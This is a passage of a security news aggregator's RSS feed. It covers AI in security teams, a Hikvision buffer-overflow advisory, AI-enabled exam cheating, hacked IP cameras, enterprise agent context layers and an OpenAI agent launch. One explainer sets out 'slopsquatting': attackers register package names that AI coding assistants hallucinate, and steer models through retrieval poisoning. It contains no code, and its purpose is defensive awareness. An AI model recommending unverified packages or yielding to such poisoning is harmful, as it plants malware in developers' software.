<p>AWS uses multiple models for different tasks, Schmidt says. One model may discover vulnerabilities, while other models validate results or help build defenses. Humans remain accountable for evaluating what the systems produce.</p>



<p>“Because we believe really strongly in human accountability for the use of AI from end to end, we still have humans take a look at what the systems come up with to determine whether they are reasonable and appropriate,” he says.</p>



<p>That workflow requires more than a model. It requires corporate data, secure infrastructure, feedback loops, security engineers, data scientists, and AI specialists who can work together.</p>



<p>Schmidt also pushes back on the idea that running AI locally on powerful consumer hardware is a substitute for production-grade security infrastructure. “Often the value of the model is also dependent on its proximity to data so that the model can ingest, use, and reason about data,” he says. “As a security person, I do not want that to be on your laptop.”</p>



<p>Experimentation on a laptop is useful, Schmidt says, but it is not the same as a secure production environment.</p>



<p>“I want the data to be somewhere safe that I can control, that I can see, that I can reason about, not sitting on your laptop,” he says. “Experimentation in there, awesome. That’s great. But it is not a production infrastructure component.”</p>



<p>That distinction may define the emerging AI security gap. Many organizations may be able to access AI tools. Far fewer may be able to safely integrate them into real security workflows.</p>



<h2 class="wp-block-heading">The democratization argument</h2>



<p><a href="https://www.linkedin.com/in/philvenables/">Phil Venables</a>, a partner at Ballistic Ventures and former CISO of Google Cloud, takes the most optimistic view.</p>



<p>Asked whether AI is widening the gap between well-resourced and under-resourced security organizations, Venables tells CSO, “No, I actually think it’s the exact opposite.”</p>



<p>The reason, he argues, is that AI packages expertise and automation in ways that can be delivered broadly. “One of the fantastic things about AI, and we’re already starting to see this, is [that it’s] a great democratizer of capabilities,” he says. “AI packages up expertise and automation capabilities at a level beyond what prior waves of technology have done, and it makes it available at scale into organizations that have not previously been able to afford these things.”</p>



<p>He points to <a href="https://www.csoonline.com/article/4181930/ai-red-teaming-comes-of-age.html">red teaming</a> as an example. Nearly every organization would like a world-class red team, but few can afford one.</p>



<p>“Pretty much every organization on the planet would love to have a world-class red team to constantly test their security to find and fix things before attackers do,” Venables says. “But very few organizations have ever been able to afford to build a high-end red team.”</p>



<p>AI agents, he argues, could make that kind of capability available more economically. The same pattern could apply to insider threat; third-party risk; software security; governance, risk and compliance; and security operations.</p>



<p>“So even the smallest and resource-constrained organizations can now have access to a higher-end capability,” he maintains.</p>



<p>Venables does see a danger zone, however: under-resourced security teams inside organizations with aggressive AI ambitions. Those teams may <a href="https://www.csoonline.com/article/3529615/companies-skip-security-hardening-in-rush-to-adopt-ai.html">struggle to keep up</a> as the rest of the business adopts AI rapidly. But for many small and midsize organizations, he believes AI could improve access to security capabilities they never had before.</p>



<h2 class="wp-block-heading">A divide over AI — or over readiness?</h2>



<p>For elite organizations, AI is already becoming a force multiplier. Security teams with deep engineering talent, mature data infrastructure, and strong governance can use AI to accelerate testing, detection engineering, vulnerability discovery, and risk management.</p>



<p>For smaller organizations, the picture is less clear. AI may eventually package scarce expertise into affordable services. Open models may reduce dependence on expensive frontier systems. But organizations below the security poverty line still face familiar constraints: too few people, too little time, limited expertise, unpredictable costs, and weak leverage over vendors.</p>



<p>The emerging divide may therefore be less about who has access to AI and more about who can turn AI into durable security outcomes.</p>



<p>That makes the question facing cybersecurity more complicated than whether AI will create haves and have-nots. The industry already had them.</p>



<p>The real question is whether AI becomes another technology that rewards the organizations already best positioned to use it — or the first major security advance in years that helps those below the poverty line finally catch up.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[CVE-2025-66177 | Hikvision DS-96xxxNI-Hx Discovery Feature stack-based overflow]]></title>
<description><![CDATA[A vulnerability was found in Hikvision DS-96xxxNI-Hx, DS-96xxxNI-Ix, DS-96xxNXI-Sx, DS-96xxxNXI-Sx, DS-76xxNXI-Mx, VPro, DS-96xxNXI-Mx, DS-76xxNI-Mx, DS-77xxNI-Mx, DS-96xxxNXI-Mx, DS-86xxxNXI-Mx, DS-76xxNXI-Ix, S, DS-77xxNXI-Ix, DS-86xxNXI-Ix, DS-96xxNXI-Ix, DS-76xxNXI-Kx including 、 、, DS-77xxNX...]]></description>
<link>https://tsecurity.de/de/3662986/sicherheitsluecken/cve-2025-66177-hikvision-ds-96xxxni-hx-discovery-feature-stack-based-overflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662986/sicherheitsluecken/cve-2025-66177-hikvision-ds-96xxxni-hx-discovery-feature-stack-based-overflow/</guid>
<pubDate>Sun, 12 Jul 2026 10:24:05 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/hikvision:ds-96xxxni-hx">Hikvision DS-96xxxNI-Hx, DS-96xxxNI-Ix, DS-96xxNXI-Sx, DS-96xxxNXI-Sx, DS-76xxNXI-Mx, VPro, DS-96xxNXI-Mx, DS-76xxNI-Mx, DS-77xxNI-Mx, DS-96xxxNXI-Mx, DS-86xxxNXI-Mx, DS-76xxNXI-Ix, S, DS-77xxNXI-Ix, DS-86xxNXI-Ix, DS-96xxNXI-Ix, DS-76xxNXI-Kx including 、 、, DS-77xxNXI-Kx including 、 、, DS-76xxNXI-Kx , Vpro, DS-77xxNXI-Kx , DS-76xxNI-Qx including 、, DS-71xxNI-Q1 , M, DS-71xxNI-Q1, DS-710xNI-G1,  , DS-76xxNI-Q1, DS-76xxNI-Q2, DS-76xxNXI-K1, DS-76xxNXI-K2, DS-77xxNXI-K4, DS-86xxNXI-K8, DS-76xxNXI-K1 , DS-76xxNXI-K2 , DS-77xxNXI-K4 , iDS-71xxHGHI-M1, iDS-72xxHGHI-M1, iDS-71xxHQHI-M1, iDS-72xxHQHI-M1, iDS-72xxHQHI-Mx, XT, iDS-72xxHUHI-Mx, iDS-72xxHTHI-Mx, iDS-90xxHUHI-M8, iDS-73xxHUHI-M4, iDS-81xxHUHI-M8, DS-71xxHGHI-M1, DS-72xxHGHI-M1, DS-ExxHGHI-xx, E, T, iDS-73xxHQHI-M4, iDS-81xxHQHI-M8, iDS-90xxHQHI-M8, iDS-ExxHQHI-xx, iDS-71xxHUHI-M1, iDS-72xxHUHI-M1, X, PXT, iDS-ExxHUHI-xx, DS-A806xxSI, DS-AT1000SI, iDS-96xxxNXI-Hx, iDS-96064NXI-I16, iDS-96xxxNXI-Ix, AI, iDS-67xxNXI-Mx, iDS-76xxNXI-Mx, iDS-77xxNXI-Mx, iDS-96xxNXI-Mx, iDS-96xxxNXI-Mx, iDS-67xxxNXI-Mx, iDS-67xxNXI-S, iDS-6704NXI, iDS-67xxNXI-P1, iDS-7608NXI-P2, iDS-77xxNXI-P4, iDS-96xxNXI-Px, DS-2CD1xxxG2, DS-2CD3xx1G2, HWI-xxxxHA, IPC-xxxxHA, DS-2CD2Dx5G1, DS-2CD64x5G1, DS-2CD29xxG0, DS-2XE6xxxG0, DS-2XC6xxxG0, DS-2CD1xxxG0, DS-2CD1xx1, DS-2CD3xx1G0, DS-2CD2xx1G0, IPC-xxxxH and HWI-xxxH</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. This issue affects some unknown processing of the component <em>Discovery Feature</em>. The manipulation results in stack-based buffer overflow.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2025-66177">CVE-2025-66177</a>. The attacker must have access to the local network to execute the attack. No exploit exists.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Forget typosquatting; slopsquatting is the software supply chain threat created by AI coding tools]]></title>
<description><![CDATA[Slopsquatting represents an emerging supply chain threat made possible by AI hallucinations. As developers increasingly rely on AI coding assistants, they unknowingly grant cybercriminals access to their software from day one. Understanding what slopsquatting isSlopsquatting is a new type of supp...]]></description>
<link>https://tsecurity.de/de/3662303/it-nachrichten/forget-typosquatting-slopsquatting-is-the-software-supply-chain-threat-created-by-ai-coding-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662303/it-nachrichten/forget-typosquatting-slopsquatting-is-the-software-supply-chain-threat-created-by-ai-coding-tools/</guid>
<pubDate>Sat, 11 Jul 2026 20:32:20 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Slopsquatting represents an emerging supply chain threat made possible by AI hallucinations. As developers increasingly rely on AI coding assistants, they unknowingly grant <a href="https://venturebeat.com/security/prompt-injection-is-exploiting-enterprise-ais-biggest-design-flaws-by-targeting-agents-rag-pipelines-and-model-routers">cybercriminals</a> access to their software from day one. </p><h2><b>Understanding what slopsquatting is</b></h2><p>Slopsquatting is a new type of supply chain attack that uses large language model (LLM) <a href="https://www.captechu.edu/blog/ai-driven-threats-in-software-supply-chains"><u>hallucinations to inject malicious code</u></a> into development workflows. The term combines "AI slop" and "typosquatting," a deceptive practice where attackers register misspelled or lookalike versions of popular domains to prey on users who enter URLs incorrectly.</p><p>This novel attack vector exploits LLMs' tendency to generate fictitious software package names, which threat actors can then register and populate with malicious code.</p><p>During AI-assisted coding, the model may generate fake open-source packages — bundled collections of files, programs and installation tools. This alone is not necessarily harmful. However, if an attacker registers that fake package name, they can inject malware that gets incorporated directly into a developer's codebase.</p><h2><b>How AI creates a supply chain risk</b></h2><p>Traditionally, AI <a href="https://www.pivotpointsecurity.com/ai-security-and-ai-safety-how-do-they-relate/"><u>safety risks stem from hallucinations</u></a>, which can adversely affect users who treat misinformation as valid. However, those same hallucinations have evolved into exploitable security vulnerabilities.</p><p>Typosquatting is a deceptive practice where a cybercriminal registers a mispelled version of a popular package to trick developers. It has existed for decades, so registries have built protections against it. </p><p>However, AI has changed the <a href="https://venturebeat.com/security/claude-mythos-exposed-a-hard-truth-your-enterprise-patching-process-is-way-too-slow">threat model</a>. It recommends fictitious packages that sound plausible rather than making simple misspellings. Once attackers learn which hallucinated packages models tend to invent, they can register malware-filled packages under those names.</p><p>Since the hallucinated packages are not simply typoed versions of popular libraries, there are no protections against this practice at scale. For example, the registry protects against an attacker publishing "crossenv," a squat of the popular "cross-env" package. However, it would not identify "mpn install cross-env file" or "cross-env-extended" as threats.</p><h3><b>Hallucinations are persistent and severe</b></h3><p>Even if many LLMs recommend the same hallucinated package, widespread compromise is still possible. Malicious packages could remain undetected in production for months or even years, allowing threat actors to passively inject malware across countless environments. </p><p>One research <a href="https://arxiv.org/abs/2506.12995"><u>team analyzed 31,267 vulnerabilities</u></a> belonging to 14,675 packages across 10 programming languages. They discovered that reported vulnerabilities are increasing at an annual rate of 98%, faster growth than the 25% annual increase in the number of open-source software packages. The team also observed an 85% increase in the average lifespan of vulnerabilities, indicating a decline in security.</p><h3><b>Real-world dangers of AI hallucinations</b></h3><p><a href="https://venturebeat.com/security/ai-tool-poisoning-exposes-a-major-flaw-in-enterprise-agent-security">Malicious actors</a> can create open-access packages under the same name as commonly hallucinated libraries. Instead of standard code, they are filled with malware. The models believe they are referring to existing packages, so they often repeat the same hallucinated names. Since the hallucinations are not random, attackers could theoretically register packages that trick tens of thousands of developers.</p><p>These packages appear legitimate. String similarity to real libraries makes them recognizable. One-character typos suggest simple mistakes rather than malicious intent. Even fully fabricated names remain believable when the AI presents them in proper context. Detection is challenging, as developers trust their coding assistants to recommend valid dependencies.</p><h2><b>Why are LLMs hallucinating packages?</b></h2><p>LLMs generate the statistically most likely answer rather than prioritizing accuracy. Hallucinations are relatively common as a result. One study found hallucination rates <a href="https://www.nature.com/articles/s43856-025-01021-3"><u>range from 50% to 82%</u></a>, depending on the model and prompting method. Even GPT-4o, the best-performing model, goes no lower than 23%, even with prompt-based mitigation.</p><p>Adversarial hallucination attacks could worsen this problem. Threat actors can leverage token-level manipulation or retrieval poisoning to force models to hallucinate in ways they want, increasing the likelihood that models recommend their malicious packages.</p><h2><b>Which LLMs are prone to slopsquatting?</b></h2><p>While all LLMs are prone to slopsquatting, some are more vulnerable than others. The likelihood of producing hallucinated packages during code generation depends on the model. Proprietary models are four times less likely to generate hallucinated packages than open-source models.</p><p>One research group proved this by conducting 30 tests across 30 different systems. Out of <a href="https://arxiv.org/html/2406.10279v3"><u>the 576,000 code samples</u></a> and 2.23 million packages it produced, 19.7% were hallucinations. GPT-4.0 Turbo had a hallucination rate of 3.59%, while DeepSeek 1B, the best-performing open-source model, reached 13.63%.</p><p>This research suggests that organizations relying on open-source AI tools for code generation are roughly four times more exposed to slopsquatting attacks. That doesn’t necessarily mean proprietary tools will always remain safer, though. Once attackers realize this disparity, they may manipulate proprietary LLMs to take advantage of perceived safety.</p><h2><b>Vibe coding contributes to the problem</b></h2><p>Software developers who use AI tools estimate that <a href="https://shiftmag.dev/state-of-code-2025-7978/"><u>over 40 percent of the code</u></a> they commit includes AI assistance. They expect that percentage will increase considerably within the next few years. Already, 72% of those who have tried AI use it daily.</p><p>The uptick in vibe coding and AI-assisted coding amplifies the threat surface. As more developers integrate AI tools into their workflows without implementing proper verification processes, the attack surface for slopsquatting continues to expand.</p><p>For those using AI to assist with coding, double-checking output is essential. Verifying that recommended packages actually exist in official repositories before incorporating them into projects reduces risk.</p><h2><b>Navigating AI-assisted development</b></h2><p>Implementing automated checks that validate package names against known registries can help catch hallucinated packages before they enter production code. Security teams should also monitor for unusual package installations and maintain up-to-date threat intelligence on known slopsquatting campaigns.</p><p><i>Zac Amos is the Features Editor at </i><a href="https://rehack.com/"><i><u>ReHack</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[Phia accused of ‘cookie stuffing,’ taking affiliate credit on purchases it didn’t earn]]></title>
<description><![CDATA[Phia, the shopping startup founded by Bill Gates’ daughter, Phoebe, and her friend, Sophia Kianni, is under fire for a practice known as “cookie stuffing,” which helped the product receive commissions and credit for sales it did not actually generate, per a Bloomberg investigation. ]]></description>
<link>https://tsecurity.de/de/3661038/it-nachrichten/phia-accused-of-cookie-stuffing-taking-affiliate-credit-on-purchases-it-didnt-earn/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661038/it-nachrichten/phia-accused-of-cookie-stuffing-taking-affiliate-credit-on-purchases-it-didnt-earn/</guid>
<pubDate>Sat, 11 Jul 2026 02:32:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Phia, the shopping startup founded by Bill Gates’ daughter, Phoebe, and her friend, Sophia Kianni, is under fire for a practice known as “cookie stuffing,” which helped the product receive commissions and credit for sales it did not actually generate, per a Bloomberg investigation. ]]></content:encoded>
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<title><![CDATA[Brown Professor Suspects Majority of His Class Used AI To Cheat]]></title>
<description><![CDATA[Longtime Slashdot reader schwit1 shares a report from Inside Higher Ed: For the first time since he started teaching Welfare Economics and Social Choice Theory nearly two decades ago, Brown University economics professor Roberto Serrano gave his students a take-home midterm this spring. Quite a f...]]></description>
<link>https://tsecurity.de/de/3660962/it-security-nachrichten/brown-professor-suspects-majority-of-his-class-used-ai-to-cheat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660962/it-security-nachrichten/brown-professor-suspects-majority-of-his-class-used-ai-to-cheat/</guid>
<pubDate>Sat, 11 Jul 2026 01:07:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Longtime Slashdot reader schwit1 shares a report from Inside Higher Ed: For the first time since he started teaching Welfare Economics and Social Choice Theory nearly two decades ago, Brown University economics professor Roberto Serrano gave his students a take-home midterm this spring. Quite a few students had expressed anxiety about being in a classroom after a gunman killed two students and injured nine in a December mass shooting at Brown, and so "it was appropriate," he said, to allow students to take their exams at home. But by the end of the semester, Serrano regretted the decision. Dozens of students in the class likely used artificial intelligence to cheat and earn perfect or near-perfect scores on their midterm, he said. Serrano in turn made the final exam in-person, which led more than a dozen students to drop the course and even more to fail it.
 
Administrators' response to the widespread cheating event has been "meek," he said, and the incident has raised questions about how universities can -- and should -- respond to AI-enabled cheating at scale. "I am not declaring [the midterm] void for now. I am going to give the class a chance to prove me wrong," he wrote. "That is, if the distribution of the final exam is roughly similar to the distribution of the midterm, I will count the midterm. Otherwise, which is of course what I expect to happen, I will declare the midterm void and reweigh the final accordingly." Serrano heard crickets from his students, but 18 of them subsequently dropped the class. Nine students remained enrolled but did not take the final exam. And Serrano said the results proved him right; three students earned a zero, and the average score on the final was 48.6 percent -- by far a historic low, he said. Previously, the average final exam score had never dropped below 65 percent. Only a few students scored similarly to how they did on the midterm.<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/10/2215249/brown-professor-suspects-majority-of-his-class-used-ai-to-cheat?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Russia Hacks Doorbell Cameras To Spy On NATO Bases]]></title>
<description><![CDATA[Dutch intelligence agencies say Russian hackers have been hijacking unsecured internet-connected cameras, including likely doorbell and security cameras, to spy on NATO military bases and transport routes used to move weapons to Ukraine. "Organisations with IP [internet protocol] cameras on these...]]></description>
<link>https://tsecurity.de/de/3660888/it-security-nachrichten/russia-hacks-doorbell-cameras-to-spy-on-nato-bases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660888/it-security-nachrichten/russia-hacks-doorbell-cameras-to-spy-on-nato-bases/</guid>
<pubDate>Sat, 11 Jul 2026 00:04:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Dutch intelligence agencies say Russian hackers have been hijacking unsecured internet-connected cameras, including likely doorbell and security cameras, to spy on NATO military bases and transport routes used to move weapons to Ukraine. "Organisations with IP [internet protocol] cameras on these routes have now been warned so that they could take action," said the AIVD domestic security and MIVD military intelligence agencies. Targeted NATO member states include the Netherlands and Ukraine. The Telegraph reports: While the intelligence agencies did not specify the type of cameras hacked, the doorbell systems are frequently used by people to monitor their property from mobile phones. Hackers then use readily available apps to scan for devices that might be accessible. The Dutch investigation found that many of the cameras were unsecured, and "often have standard passwords, outdated firmware and standard configurations." They said: "When the IP camera is identified, the malicious party can attempt to access the IP camera via the internet. This is often relatively easy, because many IP cameras connected to the internet are insufficiently secure."
 
[...] The practice is now considered easier and cheaper than using drones and satellites to gather intelligence. It also aids operational surprise because most camera owners are blissfully unaware their devices have been penetrated by hackers. Ground-based cameras offer a unique perspective on the terrain, which isn't the case with conventional aerial-based spy kit.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/10/1957214/russia-hacks-doorbell-cameras-to-spy-on-nato-bases?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[57% of enterprises have watched AI agents be confidently wrong. The fix is an agentic context layer, but who has one?]]></title>
<description><![CDATA[An enterprise AI agent answers with total confidence, but the number is wrong. Nobody catches it until someone traces it back to a stale metric definition or a document the retrieval system never pulled. The model did not fail. The context it was given did.In the past six months, 57% of enterpris...]]></description>
<link>https://tsecurity.de/de/3660872/it-nachrichten/57-of-enterprises-have-watched-ai-agents-be-confidently-wrong-the-fix-is-an-agentic-context-layer-but-who-has-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660872/it-nachrichten/57-of-enterprises-have-watched-ai-agents-be-confidently-wrong-the-fix-is-an-agentic-context-layer-but-who-has-one/</guid>
<pubDate>Fri, 10 Jul 2026 23:47:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An enterprise AI agent answers with total confidence, but the number is wrong. Nobody catches it until someone traces it back to a stale metric definition or a document the retrieval system never pulled. The model did not fail. The context it was given did.</p><p>In the past six months, 57% of enterprises traced a confident but wrong AI agent answer to missing or inconsistent business context, and 31% said it happened more than once, according to a VB Pulse June 2026 survey of 101 qualified enterprises with more than 100 employees.</p><p>The reason is not hard to find. Retrieval over documents is the default way agents get business context for 38% of enterprises, nearly double the next closest approach. The way most enterprises choose a retrieval system compounds the problem. Ease of ingestion and operational simplicity lead the selection criteria, with retrieval accuracy running behind both. The accuracy problem only shows up after the system is already live.</p><p>There is a known fix for this, a governed context layer every agent reads from instead of guessing. Vendors are racing to roll out context platforms while most enterprises are still figuring out what it is.</p><h2>75% don't have an agentic context layer yet</h2><p>The context layer is meant to be a shared model of what business data actually means, built once and referenced consistently instead of re-derived by every agent that touches it. </p><p>The VentureBeat research shows the enterprise response to that idea is broad but unfinished. Twenty-five percent of respondents run one in production. Thirty-four percent are building one right now. The remaining 41% have not started.</p><p>Among companies already building or running a governed context layer, 78% report a confident-wrong failure — an AI agent that answered with total certainty and was still wrong. Among companies with no plans to build a layer, only 20% report the same thing. Companies that already got burned are far more likely to be building the fix. Companies that haven't been burned yet see no urgency.</p><h2>What governed context looks like when someone actually builds one</h2><p>Every major data and AI platform vendor is now building some version of this layer, and they are not converging on the same architecture. </p><ul><li><p><a href="https://venturebeat.com/data/sql-query-logs-hold-the-context-ai-agents-need-to-stop-hallucinating-joins">DataHub</a> is treating catalog metadata and years of analyst query behavior as a knowledge source, then keeping it current as a living system rather than a static wiki. </p></li><li><p>Microsoft's<a href="https://venturebeat.com/data/enterprise-ai-agents-keep-operating-from-different-versions-of-reality"> Fabric IQ</a> is building a business ontology that any agent, not just Microsoft's own, can query over MCP. </p></li><li><p><a href="https://venturebeat.com/data/ai-agents-need-context-everywhere-they-run-even-where-the-cloud-cant-follow">Couchbase</a> is pushing agent memory and context retrieval down to the edge, arguing the operational database is a more natural home for it than a search or analytics layer bolted on after the fact. </p></li><li><p>Pinecone's<a href="https://venturebeat.com/data/the-rag-era-is-ending-for-agentic-ai-a-new-compilation-stage-knowledge-layer-is-what-comes-next"> Nexus</a> is compiling structural logic into the metadata layer ahead of runtime, betting that agents need pre-built structure more than they need faster search.</p></li><li><p>Snowflake runs a two-layer system,<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> Horizon Context</a> for customer-managed definitions and Cortex Sense for context the platform infers on its own. </p></li><li><p>Oracle's<a href="https://venturebeat.com/data/oracle-converges-the-ai-data-stack-to-give-enterprise-agents-a-single"> Unified Memory Core</a> takes the opposite approach, folding vector, graph and relational data into one transactional engine so there is no sync layer left to go stale. </p></li><li><p>Google's<a href="https://venturebeat.com/data/the-modern-data-stack-was-built-for-humans-asking-questions-google-just-rebuilt-its-for-agents-taking-action"> Knowledge Catalog</a> mines query logs and usage patterns to curate semantic context automatically.</p></li><li><p>AWS's<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> Context</a> service makes the same bet, a knowledge graph that gets smarter from how agents actually use it rather than from manual re-curation.</p></li></ul><h2>Analysts converge on one diagnosis</h2><p>The vendor approaches differ. What analysts and practitioners have told VentureBeat about the underlying problem, across a run of interviews this year, does not.</p><p>When<a href="https://venturebeat.com/data/sql-query-logs-hold-the-context-ai-agents-need-to-stop-hallucinating-joins"> DataHub's context layer push</a> landed this spring, Constellation Research VP and principal analyst Michael Ni framed the stakes in blunt terms. "Whoever controls runtime context controls the AI decision layer for enterprise data," Ni said. He was equally direct about how far any single product actually gets a buyer. "Vector memory isn't business meaning, business meaning isn't governance and governance isn't execution," Ni said.</p><p>In the same interview, BARC analyst Kevin Petrie pointed to a narrower but concrete gap. Most context platforms concentrate on structured tables, he said, which give agents trusted facts but miss the harder, messier context locked in documents and unstructured content, exactly the material a business actually runs on day to day.</p><p>Stephanie Walter, practice leader for AI Stack at HyperFRAME Research, made a related point earlier this year when VentureBeat asked her about<a href="https://venturebeat.com/data/context-architecture-is-replacing-rag-as-agentic-ai-pushes-enterprise-retrieval-to-its-limits"> enterprise context fragmentation</a>. </p><p>"The market is converging on the same conclusion," Walter said. "Agents don't just need more tokens or better models. They need governed, current, low-latency context." She made a similar case in an earlier review of<a href="https://venturebeat.com/data/the-rag-era-is-ending-for-agentic-ai-a-new-compilation-stage-knowledge-layer-is-what-comes-next"> Pinecone's Nexus launch</a>, careful not to overstate how new any of this is. Nexus, she said, "shifts knowledge work from runtime chaos to pre-compiled structure. But it's an evolution of RAG architecture, not a complete reinvention." </p><p>Gartner's Arun Chandrasekaran, reviewing the same launch, offered the more forward-looking read. Agentic AI, he said, is moving from pure information retrieval toward a reasoning architecture, one where long context works as short-term memory and a vector database functions as deep storage underneath it.</p><p>The fragmentation problem shows up hardest at the practitioner level, where separate tools for retrieval, memory and access control were never built to agree with each other. Steven Dickens, CEO and principal analyst at HyperFRAME Research, put it bluntly after <a href="https://venturebeat.com/data/oracle-converges-the-ai-data-stack-to-give-enterprise-agents-a-single">Oracle's AI database push</a> landed this spring. "Data teams are exhausted by fragmentation fatigue," Dickens said. "Managing a separate vector store, graph database and relational system just to power one agent is a DevOps nightmare." </p><p>Matt Kimball at Moor Insights and Strategy, in that same story, put the production reality more simply. Getting an agent working is not the hard part, he said. The struggle is running it in production, where the goal becomes removing the distance between data and execution rather than adding another layer on top of it.</p><h2>What this means for enterprises</h2><p>Here's what this adds up to for enterprises building on this layer.</p><p><b>Retrieval alone will not close the context gap.</b> RAG is the default source for context in most enterprises today, and it is also the layer most closely associated with the confident-wrong-answer failure. Adding more documents or a bigger index does not fix a definition that is inconsistent across systems.</p><p><b>The semantic context layer is where the budget is actually moving, even where it hasn't shipped. </b>Fifty-eight percent of enterprises are already engaged — building or in production — but only 25% have actually gotten a layer live. That gap shows where enterprises have decided to spend, not where they've arrived.</p><p><b>No single vendor owns the architecture yet, and that is likely to stay true for a while.</b> Enterprises evaluating this layer should expect to integrate rather than pick a single winner, at least for the next several quarters.</p><p><b>The buying decision is happening this year, and it is concentrated among the companies already burned by it.</b> Fifty-seven percent of enterprises plan to switch or add a retrieval or context platform within the next twelve months. That intent is not spread evenly. Enterprises that reported a repeat confident-wrong failure plan to switch or add a provider at roughly 81%, against 32% among enterprises that never hit the problem. The companies shopping for new context tooling right now are largely the ones whose agents already got it wrong. </p><p>The agents are already running. The context underneath most of them is still being built, and the vendor selling the fix is being chosen this year.</p><p><i>This data will be part of a broader conversation at </i><a href="https://venturebeat.com/vbtransform2026"><i>VB Transform 2026</i></a><i> on July 14 and 15 in Menlo Park: the context gap enterprises are racing to close, and which of the emerging approaches — governed semantic layers, hybrid retrieval, provider-native bundles — actually holds up in production.</i></p>]]></content:encoded>
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<title><![CDATA[OpenAI introduces ChatGPT Work, a cloud-based AI agent that manages tasks across email, Slack and calendars]]></title>
<description><![CDATA[OpenAI on Thursday launched ChatGPT Work, a new AI agent embedded inside its flagship chatbot that aims to transform ChatGPT from a question-and-answer tool into an autonomous work platform capable of executing complex, multi-step tasks across users' email, calendars, code repositories, and messa...]]></description>
<link>https://tsecurity.de/de/3660793/it-nachrichten/openai-introduces-chatgpt-work-a-cloud-based-ai-agent-that-manages-tasks-across-email-slack-and-calendars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660793/it-nachrichten/openai-introduces-chatgpt-work-a-cloud-based-ai-agent-that-manages-tasks-across-email-slack-and-calendars/</guid>
<pubDate>Fri, 10 Jul 2026 22:48:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://openai.com/">OpenAI</a> on Thursday launched <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a>, a new AI agent embedded inside its flagship chatbot that aims to transform ChatGPT from a question-and-answer tool into an autonomous work platform capable of executing complex, multi-step tasks across users' email, calendars, code repositories, and messaging apps.</p><p>The product is powered by OpenAI's latest flagship model, <a href="https://openai.com/index/gpt-5-6/">GPT-5.6</a>, and is designed to go far beyond generating text. ChatGPT Work can gather context from connected apps, files, and workflows to produce finished documents, spreadsheets, presentations, reports, and websites. The agent takes a stated outcome, breaks it into smaller steps, and stays with complex projects for hours, completing them independently.</p><p>The launch marks OpenAI's clearest attempt yet to reposition ChatGPT as a workplace platform rather than a chatbot — and it arrives at a moment of extraordinary financial significance for the company. Last month, OpenAI <a href="https://openai.com/index/openai-submits-confidential-s-1/">confidentially submitted a draft S-1 registration statement</a> to the SEC, initiating what could become one of the largest technology IPOs in history, with reported valuations <a href="https://www.cnbc.com/2026/03/31/openai-funding-round-ipo.html">clustering between $730 billion and $852 billion</a> and annualized revenue that has blown past $25 billion.</p><p>In a short demonstration and conversation with VentureBeat on Friday, Ty Geri, a product manager at OpenAI who helped build ChatGPT Work, said the product's mission is to democratize the kind of agentic AI capabilities that OpenAI's internal engineering tool, Codex, has already demonstrated. "What's really exciting is we've seen how much Codex has been able to push the frontier of what we can get done with these AI tools, as opposed to just getting information or answers or guidance," Geri said. "Our internal adoption of Codex is literally an exponential curve across every single product function and every single use case."</p><h2><b>Why OpenAI built a persistent virtual machine that works from the beach</b></h2><p>The core architectural bet behind <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> is a persistent cloud-based virtual machine that runs on OpenAI's servers, always available to the user regardless of which device they happen to be on. That marks a deliberate departure from competitors whose agents require a local machine to remain powered on and connected.</p><p>"What's really exciting about ChatGPT Work is that it's a virtual machine in the cloud that's always on for you, and this is available across all of our paid tiers," Geri said. "All Plus users are getting this. I think that's a very unique aspect of this."</p><p>The mobile-first aspect of the launch is something Geri described as "missing from the market." He pointed to the ability to create a website on a phone and share it with collaborators as a particularly novel capability. "Sites are new in general to Codex. They launched in Codex about a week and a half ago, but now we're launching also in web and mobile. You can create a site on your phone at the beach and share it with your friends," he said.</p><p><a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> will roll out beginning with <a 